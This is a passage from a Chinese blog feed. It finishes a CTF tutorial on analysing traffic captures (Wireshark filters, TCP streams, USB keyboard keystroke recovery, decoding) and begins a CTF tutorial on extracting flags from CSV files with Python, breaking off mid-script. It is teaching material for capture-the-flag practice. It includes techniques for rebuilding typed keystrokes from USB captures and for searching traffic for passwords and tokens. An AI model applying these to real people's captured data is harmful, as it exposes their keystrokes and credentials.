因为 ping 通常有 request 和 reply，如果直接把所有 ICMP 数据都拼接，可能会重复一遍。</p>
<p>可以只看请求包：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">icmp.type == 8
</span></span></code></pre></div><p>或者只看响应包：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">icmp.type == 0
</span></span></code></pre></div><hr>
<h2 id="8-tcp-流追踪">
<a class="header-anchor" href="#8-tcp-%e6%b5%81%e8%bf%bd%e8%b8%aa"></a>
8. TCP 流追踪
</h2><p>TCP 流追踪是流量包题的核心操作。</p>
<p>在 Wireshark 中选中一个 TCP 包，右键：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Follow -&gt; TCP Stream
</span></span></code></pre></div><p>然后可以看到这条连接中完整的客户端和服务器通信。</p>
<p>如果想看不同 TCP 流，可以使用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">tcp.stream eq 0
</span></span><span class="line"><span class="cl">tcp.stream eq 1
</span></span><span class="line"><span class="cl">tcp.stream eq 2
</span></span></code></pre></div><p>遇到下面这些情况，优先追踪 TCP 流：</p>
<ul>
<li>HTTP 请求内容显示不完整</li>
<li>FTP 传输文件</li>
<li>可疑端口上有大量数据</li>
<li>看到一部分 flag 或编码字符串</li>
<li>数据包被拆成很多段</li>
</ul>
<p>追踪 TCP 流后，可以切换显示方式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ASCII
</span></span><span class="line"><span class="cl">Raw
</span></span><span class="line"><span class="cl">Hex Dump
</span></span></code></pre></div><p>如果要导出原始数据，可以选择 <code>Raw</code> 后保存。</p>
<hr>
<h2 id="9-usb-键盘流量分析">
<a class="header-anchor" href="#9-usb-%e9%94%ae%e7%9b%98%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90"></a>
9. USB 键盘流量分析
</h2><p>有些题给的不是网络流量，而是 USB 抓包。<br>
常见题型是还原键盘输入。</p>
<p>过滤 USB 数据：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">usb.capdata
</span></span></code></pre></div><p>提取字段：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tshark -r usb.pcap -T fields -e usb.capdata
</span></span></code></pre></div><p>键盘 HID 数据通常类似：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">00:00:04:00:00:00:00:00
</span></span><span class="line"><span class="cl">00:00:05:00:00:00:00:00
</span></span><span class="line"><span class="cl">00:00:06:00:00:00:00:00
</span></span></code></pre></div><p>第三个字节通常表示按键码。<br>
例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">04 -&gt; a
</span></span><span class="line"><span class="cl">05 -&gt; b
</span></span><span class="line"><span class="cl">06 -&gt; c
</span></span></code></pre></div><p>如果第一个字节是 <code>02</code> 或 <code>20</code>，通常表示按下了 Shift，需要转换成大写或符号。</p>
<p>USB 键盘题常见流程：</p>
<ol>
<li>提取 <code>usb.capdata</code></li>
<li>过滤空数据</li>
<li>取出按键码</li>
<li>根据 HID 键盘映射表还原字符</li>
<li>处理 Shift、Backspace、Enter 等特殊按键</li>
</ol>
<hr>
<h2 id="10-常见编码和解码思路">
<a class="header-anchor" href="#10-%e5%b8%b8%e8%a7%81%e7%bc%96%e7%a0%81%e5%92%8c%e8%a7%a3%e7%a0%81%e6%80%9d%e8%b7%af"></a>
10. 常见编码和解码思路
</h2><p>流量包里的 flag 不一定直接出现，经常会被编码。</p>
<h3 id="101-base64">
<a class="header-anchor" href="#101-base64"></a>
10.1 Base64
</h3><p>特征：</p>
<ul>
<li>常见字符是大小写字母、数字、<code>+</code>、<code>/</code></li>
<li>末尾可能有 <code>=</code></li>
<li>长度通常是 4 的倍数</li>
</ul>
<p>示例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ZmxhZ3t0ZXN0X2ZsYWd9
</span></span></code></pre></div><p>解码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> ZmxhZ3t0ZXN0X2ZsYWd9 <span class="p">|</span> base64 -d
</span></span></code></pre></div><h3 id="102-hex">
<a class="header-anchor" href="#102-hex"></a>
10.2 Hex
</h3><p>特征：</p>
<ul>
<li>只包含 <code>0-9a-fA-F</code></li>
<li>长度通常是偶数</li>
</ul>
<p>示例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">666c61677b6865785f656e636f64657d
</span></span></code></pre></div><p>Python 解码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;666c61677b6865785f656e636f64657d&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><h3 id="103-url-编码">
<a class="header-anchor" href="#103-url-%e7%bc%96%e7%a0%81"></a>
10.3 URL 编码
</h3><p>特征：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">%66%6c%61%67%7b%75%72%6c%7d
</span></span></code></pre></div><p>Python 解码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">unquote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">unquote</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">%66%</span><span class="s2">6c</span><span class="si">%61%</span><span class="s2">67%7b</span><span class="si">%75%</span><span class="s2">72</span><span class="si">%6c%7d</span><span class="s2">&#34;</span><span class="p">))</span>
</span></span></code></pre></div><h3 id="104-压缩数据">
<a class="header-anchor" href="#104-%e5%8e%8b%e7%bc%a9%e6%95%b0%e6%8d%ae"></a>
10.4 压缩数据
</h3><p>如果看到文件头或数据特征，可以考虑压缩：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">1f 8b       gzip
</span></span><span class="line"><span class="cl">78 9c       zlib
</span></span><span class="line"><span class="cl">50 4b       zip
</span></span><span class="line"><span class="cl">89 50 4e 47 png
</span></span><span class="line"><span class="cl">ff d8 ff    jpg
</span></span></code></pre></div><p>做题时要对 magic bytes 敏感。<br>
有时候流量里传输的是文件内容，但是后缀名可能是假的。</p>
<hr>
<h2 id="11-一个通用排查清单">
<a class="header-anchor" href="#11-%e4%b8%80%e4%b8%aa%e9%80%9a%e7%94%a8%e6%8e%92%e6%9f%a5%e6%b8%85%e5%8d%95"></a>
11. 一个通用排查清单
</h2><p>拿到流量包后，可以按这个顺序做：</p>
<ol>
<li>看题目描述，判断可能协议。</li>
<li>用 <code>strings</code> 搜索 <code>flag</code>、<code>admin</code>、<code>password</code>、<code>ctf</code>。</li>
<li>用 Wireshark 看 <code>Protocol Hierarchy</code>。</li>
<li>用 <code>Conversations</code> 找大流量会话。</li>
<li>过滤 HTTP、FTP、DNS、ICMP 等常见协议。</li>
<li>对可疑 TCP 连接执行 <code>Follow TCP Stream</code>。</li>
<li>如果有 HTTP 文件传输，使用 <code>Export Objects</code> 导出。</li>
<li>对可疑字符串尝试 Base64、Hex、URL 编码。</li>
<li>对导出的文件继续做隐写、解压、脚本分析。</li>
<li>如果数据被拆分，用 tshark 提取字段后写脚本拼接。</li>
</ol>
<p>这个流程不一定每题都完整走一遍，但它能帮你避免一上来就乱翻包。</p>
<hr>
<h2 id="12-做题时的经验">
<a class="header-anchor" href="#12-%e5%81%9a%e9%a2%98%e6%97%b6%e7%9a%84%e7%bb%8f%e9%aa%8c"></a>
12. 做题时的经验
</h2><h3 id="121-不要只盯着-flag">
<a class="header-anchor" href="#121-%e4%b8%8d%e8%a6%81%e5%8f%aa%e7%9b%af%e7%9d%80-flag"></a>
12.1 不要只盯着 flag
</h3><p>很多题不会直接出现 <code>flag{}</code>。<br>
它可能先给你一个密码、一个压缩包、一个图片、一个脚本或者一个 key。</p>
<p>所以除了搜索 <code>flag</code>，还要搜索：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">admin
</span></span><span class="line"><span class="cl">password
</span></span><span class="line"><span class="cl">pass
</span></span><span class="line"><span class="cl">login
</span></span><span class="line"><span class="cl">upload
</span></span><span class="line"><span class="cl">download
</span></span><span class="line"><span class="cl">secret
</span></span><span class="line"><span class="cl">key
</span></span><span class="line"><span class="cl">token
</span></span><span class="line"><span class="cl">ctf
</span></span></code></pre></div><h3 id="122-数据量大的连接优先看">
<a class="header-anchor" href="#122-%e6%95%b0%e6%8d%ae%e9%87%8f%e5%a4%a7%e7%9a%84%e8%bf%9e%e6%8e%a5%e4%bc%98%e5%85%88%e7%9c%8b"></a>
12.2 数据量大的连接优先看
</h3><p>如果某条 TCP 连接明显比其他连接大，里面很可能传了文件。<br>
这种连接通常比零散的小请求更有价值。</p>
<h3 id="123-明文协议优先看">
<a class="header-anchor" href="#123-%e6%98%8e%e6%96%87%e5%8d%8f%e8%ae%ae%e4%bc%98%e5%85%88%e7%9c%8b"></a>
12.3 明文协议优先看
</h3><p>HTTP、FTP、DNS、ICMP 这类协议更容易出题。<br>
如果流量里存在这些协议，先分析它们，通常比一开始研究 TLS 更高效。</p>
<h3 id="124-看到异常长字符串就尝试解码">
<a class="header-anchor" href="#124-%e7%9c%8b%e5%88%b0%e5%bc%82%e5%b8%b8%e9%95%bf%e5%ad%97%e7%ac%a6%e4%b8%b2%e5%b0%b1%e5%b0%9d%e8%af%95%e8%a7%a3%e7%a0%81"></a>
12.4 看到异常长字符串就尝试解码
</h3><p>CTF 题目里，异常长的字符串往往不是随机出现的。<br>
如果它出现在 URL、Cookie、POST 参数、DNS 子域名、ICMP data 字段中，就很值得拿出来解码。</p>
<h3 id="125-能脚本化就脚本化">
<a class="header-anchor" href="#125-%e8%83%bd%e8%84%9a%e6%9c%ac%e5%8c%96%e5%b0%b1%e8%84%9a%e6%9c%ac%e5%8c%96"></a>
12.5 能脚本化就脚本化
</h3><p>如果要拼接几百条 DNS 查询、ICMP 数据或者 USB 键盘输入，不要手工复制。<br>
用 <code>tshark</code> 提取字段，再用 Python 处理，会稳定很多。</p>
<hr>
<h2 id="13-总结">
<a class="header-anchor" href="#13-%e6%80%bb%e7%bb%93"></a>
13. 总结
</h2><p>CTF 流量包题的的分析路线：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">题目描述 -&gt; 协议统计 -&gt; 会话分析 -&gt; 协议过滤 -&gt; TCP 流追踪 -&gt; 数据提取 -&gt; 编码解码 -&gt; 文件分析
</span></span></code></pre></div><p>遇到 HTTP，就看请求、响应、Cookie、POST 和文件导出。<br>
遇到 FTP，就找账号密码和传输文件。<br>
遇到 DNS，就提取域名并尝试拼接解码。<br>
遇到 ICMP，就看 data 字段。<br>
遇到 USB，就按 HID 键盘数据还原输入。</p>

        
        <hr><p>本文2026-05-15首发于<a href='https://blog.m15tak3.com/'>M15tak3のBlog</a>，最后修改于2026-05-15</p><p>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</p>]]>
      </description>
      
        <category>CTF</category>
      
    </item>
    
      
    

    <item>
      <title>CTF CSV题目教程</title>
      <link>https://blog.m15tak3.com/post/ctf-csv%E9%A2%98%E7%9B%AE%E6%95%99%E7%A8%8B/</link>
      <pubDate>Fri, 15 May 2026 11:00:00 &#43;0800</pubDate>
      <author>skyman.soul@gmail.com (M15tak3)</author>
      <guid>https://blog.m15tak3.com/post/ctf-csv%E9%A2%98%E7%9B%AE%E6%95%99%E7%A8%8B/</guid>
      <description>
        <![CDATA[<h1>CTF CSV题目教程</h1><p>作者：M15tak3（skyman.soul@gmail.com）</p>
        
          <h1 id="ctf-csv题目教程题目想让你干嘛以及python脚本怎么写">
<a class="header-anchor" href="#ctf-csv%e9%a2%98%e7%9b%ae%e6%95%99%e7%a8%8b%e9%a2%98%e7%9b%ae%e6%83%b3%e8%ae%a9%e4%bd%a0%e5%b9%b2%e5%98%9b%e4%bb%a5%e5%8f%8apython%e8%84%9a%e6%9c%ac%e6%80%8e%e4%b9%88%e5%86%99"></a>
CTF CSV题目教程：题目想让你干嘛，以及Python脚本怎么写
</h1><p>CSV题在CTF里通常会被归到Misc、数据分析、取证或者脚本题里面。它看起来像一个很普通的表格文件，但题目真正考的不是Excel用得熟不熟，而是：你能不能从大量结构化数据里找到规律，把有效信息提取出来，最后还原出flag。</p>
<p>一句话概括：<strong>CSV题就是让你写脚本批量处理数据，而不是用肉眼一行一行看。</strong></p>
<hr>
<h2 id="1-csv题目一般想让你干嘛">
<a class="header-anchor" href="#1-csv%e9%a2%98%e7%9b%ae%e4%b8%80%e8%88%ac%e6%83%b3%e8%ae%a9%e4%bd%a0%e5%b9%b2%e5%98%9b"></a>
1. CSV题目一般想让你干嘛
</h2><p>CSV文件本质上就是“用逗号分隔字段的文本文件”，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">id</span><span class="p">,</span><span class="s">char</span><span class="p">,</span><span class="s">index</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">f</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">2</span><span class="p">,</span><span class="s">l</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">3</span><span class="p">,</span><span class="s">a</span><span class="p">,</span><span class="s">2</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">4</span><span class="p">,</span><span class="s">g</span><span class="p">,</span><span class="s">3</span><span class="p">
</span></span></span></code></pre></div><p>CTF题目会把flag拆散、打乱、隐藏或者编码后放进表格里。常见目标有下面几种。</p>
<h3 id="11直接搜索flag">
<a class="header-anchor" href="#11%e7%9b%b4%e6%8e%a5%e6%90%9c%e7%b4%a2flag"></a>
1.1直接搜索flag
</h3><p>最简单的情况是flag被藏在某一行、某一列、某个备注字段里。题目可能给你一个很大的CSV，让你不能靠肉眼快速找到。</p>
<p>你要做的是：</p>
<ol>
<li>读取CSV。</li>
<li>遍历每一行。</li>
<li>在每个字段里搜索<code>flag{</code>、<code>ctf{</code>、<code>FLAG{</code>之类的关键词。</li>
</ol>
<h3 id="12按某一列排序后拼接字符">
<a class="header-anchor" href="#12%e6%8c%89%e6%9f%90%e4%b8%80%e5%88%97%e6%8e%92%e5%ba%8f%e5%90%8e%e6%8b%bc%e6%8e%a5%e5%ad%97%e7%ac%a6"></a>
1.2按某一列排序后拼接字符
</h3><p>很多题会把flag拆成一个一个字符，然后打乱顺序，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">pos</span><span class="p">,</span><span class="s">ch</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">3</span><span class="p">,</span><span class="s">g</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">0</span><span class="p">,</span><span class="s">f</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">2</span><span class="p">,</span><span class="s">a</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">l</span><span class="p">
</span></span></span></code></pre></div><p>这时题目想让你根据<code>pos</code>排序，再把<code>ch</code>拼起来：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag
</span></span></code></pre></div><p>这种题的关键是找出“顺序列”和“字符列”。</p>
<h3 id="13按条件筛选有效行">
<a class="header-anchor" href="#13%e6%8c%89%e6%9d%a1%e4%bb%b6%e7%ad%9b%e9%80%89%e6%9c%89%e6%95%88%e8%a1%8c"></a>
1.3按条件筛选有效行
</h3><p>有些CSV会放大量干扰数据，只有满足条件的行才是真的。例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">id</span><span class="p">,</span><span class="s">value</span><span class="p">,</span><span class="s">valid</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">x</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">2</span><span class="p">,</span><span class="s">f</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">3</span><span class="p">,</span><span class="s">l</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">4</span><span class="p">,</span><span class="s">?</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">5</span><span class="p">,</span><span class="s">a</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">6</span><span class="p">,</span><span class="s">g</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span></code></pre></div><p>题目想让你筛选<code>valid=1</code>的行，再拼接<code>value</code>。</p>
<p>这种题的核心是：<strong>先过滤，再提取，再拼接。</strong></p>
<h3 id="14对字段做编码转换">
<a class="header-anchor" href="#14%e5%af%b9%e5%ad%97%e6%ae%b5%e5%81%9a%e7%bc%96%e7%a0%81%e8%bd%ac%e6%8d%a2"></a>
1.4对字段做编码转换
</h3><p>CSV里面可能存的不是直接字符，而是ASCII、十六进制、二进制、Base64等编码。</p>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">index</span><span class="p">,</span><span class="s">ascii</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">0</span><span class="p">,</span><span class="s">102</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">108</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">2</span><span class="p">,</span><span class="s">97</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">3</span><span class="p">,</span><span class="s">103</span><span class="p">
</span></span></span></code></pre></div><p>这里<code>102 108 97 103</code>对应ASCII字符：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag
</span></span></code></pre></div><p>所以你需要把数字转成字符：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">chr</span><span class="p">(</span><span class="mi">102</span><span class="p">)</span>  <span class="c1"># f</span>
</span></span></code></pre></div><h3 id="15用坐标还原图片或二维码">
<a class="header-anchor" href="#15%e7%94%a8%e5%9d%90%e6%a0%87%e8%bf%98%e5%8e%9f%e5%9b%be%e7%89%87%e6%88%96%e4%ba%8c%e7%bb%b4%e7%a0%81"></a>
1.5用坐标还原图片或二维码
</h3><p>稍微进阶一点的CSV题会给你坐标和颜色，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">x</span><span class="p">,</span><span class="s">y</span><span class="p">,</span><span class="s">color</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">0</span><span class="p">,</span><span class="s">0</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">0</span><span class="p">,</span><span class="s">255</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">0</span><span class="p">,</span><span class="s">1</span><span class="p">,</span><span class="s">255</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">1</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span></code></pre></div><p>这种题可能想让你把CSV还原成一张图片、二维码或者像素图。你要做的是：</p>
<ol>
<li>读取<code>x</code>、<code>y</code>坐标。</li>
<li>根据颜色值画点。</li>
<li>保存成图片。</li>
<li>扫二维码或者看图得到flag。</li>
</ol>
<hr>
<h2 id="2拿到csv文件后先看什么">
<a class="header-anchor" href="#2%e6%8b%bf%e5%88%b0csv%e6%96%87%e4%bb%b6%e5%90%8e%e5%85%88%e7%9c%8b%e4%bb%80%e4%b9%88"></a>
2.拿到CSV文件后先看什么
</h2><p>不要一上来就写复杂脚本。先做基本观察。</p>
<h3 id="21看表头">
<a class="header-anchor" href="#21%e7%9c%8b%e8%a1%a8%e5%a4%b4"></a>
2.1看表头
</h3><p>表头通常会暴露题目思路，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">index, char, order, ascii, hex, x, y, r, g, b, valid
</span></span></code></pre></div><p>看到不同字段，可以大概判断方向：</p>
<table>
  <thead>
      <tr>
          <th>字段名</th>
          <th>可能含义</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>index</code> / <code>pos</code> / <code>order</code></td>
          <td>排序</td>
      </tr>
      <tr>
          <td><code>char</code> / <code>ch</code> / <code>value</code></td>
          <td>拼接字符</td>
      </tr>
      <tr>
          <td><code>ascii</code></td>
          <td>ASCII转字符</td>
      </tr>
      <tr>
          <td><code>hex</code></td>
          <td>十六进制解码</td>
      </tr>
      <tr>
          <td><code>bin</code></td>
          <td>二进制解码</td>
      </tr>
      <tr>
          <td><code>x</code> / <code>y</code></td>
          <td>坐标画图</td>
      </tr>
      <tr>
          <td><code>r</code> / <code>g</code> / <code>b</code></td>
          <td>RGB图片</td>
      </tr>
      <tr>
          <td><code>valid</code> / <code>flag</code> / <code>is_true</code></td>
          <td>筛选有效数据</td>
      </tr>
  </tbody>
</table>
<h3 id="22看数据量">
<a class="header-anchor" href="#22%e7%9c%8b%e6%95%b0%e6%8d%ae%e9%87%8f"></a>
2.2看数据量
</h3><p>如果只有几十行，可以手动观察规律。如果有几千、几万行，就必须写脚本。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;data.csv&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rows</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">reader</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;行数:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">rows</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;表头:&#34;</span><span class="p">,</span> <span class="n">reader</span><span class="o">.</span><span class="n">fieldnames</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;前 5 行:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">rows</span><span class="p">[:</span><span class="mi">5</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">row</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="23看有没有异常值">
<a class="header-anchor" href="#23%e7%9c%8b%e6%9c%89%e6%b2%a1%e6%9c%89%e5%bc%82%e5%b8%b8%e5%80%bc"></a>
2.3看有没有异常值
</h3><p>CTF题经常把关键信息藏在异常值里，比如：</p>
<ul>
<li>某一列只有一行特别长。</li>
<li>某一行包含<code>{</code>或<code>}</code>。</li>
<li>某些数字明显是ASCII范围：<code>32</code>到<code>126</code>。</li>
<li>某些字段像十六进制：<code>66 6c 61 67</code>。</li>
<li>某些字段像Base64：结尾可能有<code>=</code>。</li>
</ul>
<hr>
<h2 id="3-python读取csv的基础写法">
<a class="header-anchor" href="#3-python%e8%af%bb%e5%8f%96csv%e7%9a%84%e5%9f%ba%e7%a1%80%e5%86%99%e6%b3%95"></a>
3. Python读取CSV的基础写法
</h2><p>推荐优先使用Python标准库里的<code>csv</code>，不需要安装第三方库。</p>
<h3 id="31按字典方式读取">
<a class="header-anchor" href="#31%e6%8c%89%e5%ad%97%e5%85%b8%e6%96%b9%e5%bc%8f%e8%af%bb%e5%8f%96"></a>
3.1按字典方式读取
</h3><p>如果CSV有表头，用<code>DictReader</code>最方便。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">row</span><span class="p">)</span>
</span></span></code></pre></div><p>假设CSV是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">index</span><span class="p">,</span><span class="s">char</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">0</span><span class="p">,</span><span class="s">f</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">l</span><span class="p">
</span></span></span></code></pre></div><p>读出来的每一行就是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="p">{</span><span class="s2">&#34;index&#34;</span><span class="p">:</span> <span class="s2">&#34;0&#34;</span><span class="p">,</span> <span class="s2">&#34;char&#34;</span><span class="p">:</span> <span class="s2">&#34;f&#34;</span><span class="p">}</span>
</span></span></code></pre></div><p>注意：<strong>CSV读出来的内容默认都是字符串。</strong><br>
如果要排序或者计算，需要手动转成<code>int</code>。</p>
<hr>
<h2 id="4脚本模板一直接搜索flag">
<a class="header-anchor" href="#4%e8%84%9a%e6%9c%ac%e6%a8%a1%e6%9d%bf%e4%b8%80%e7%9b%b4%e6%8e%a5%e6%90%9c%e7%b4%a2flag"></a>
4.脚本模板一：直接搜索flag
</h2><p>适用于题目给了一个很大的CSV，你怀疑flag直接藏在里面。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;flag\{.*?\}&#34;</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">IGNORECASE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
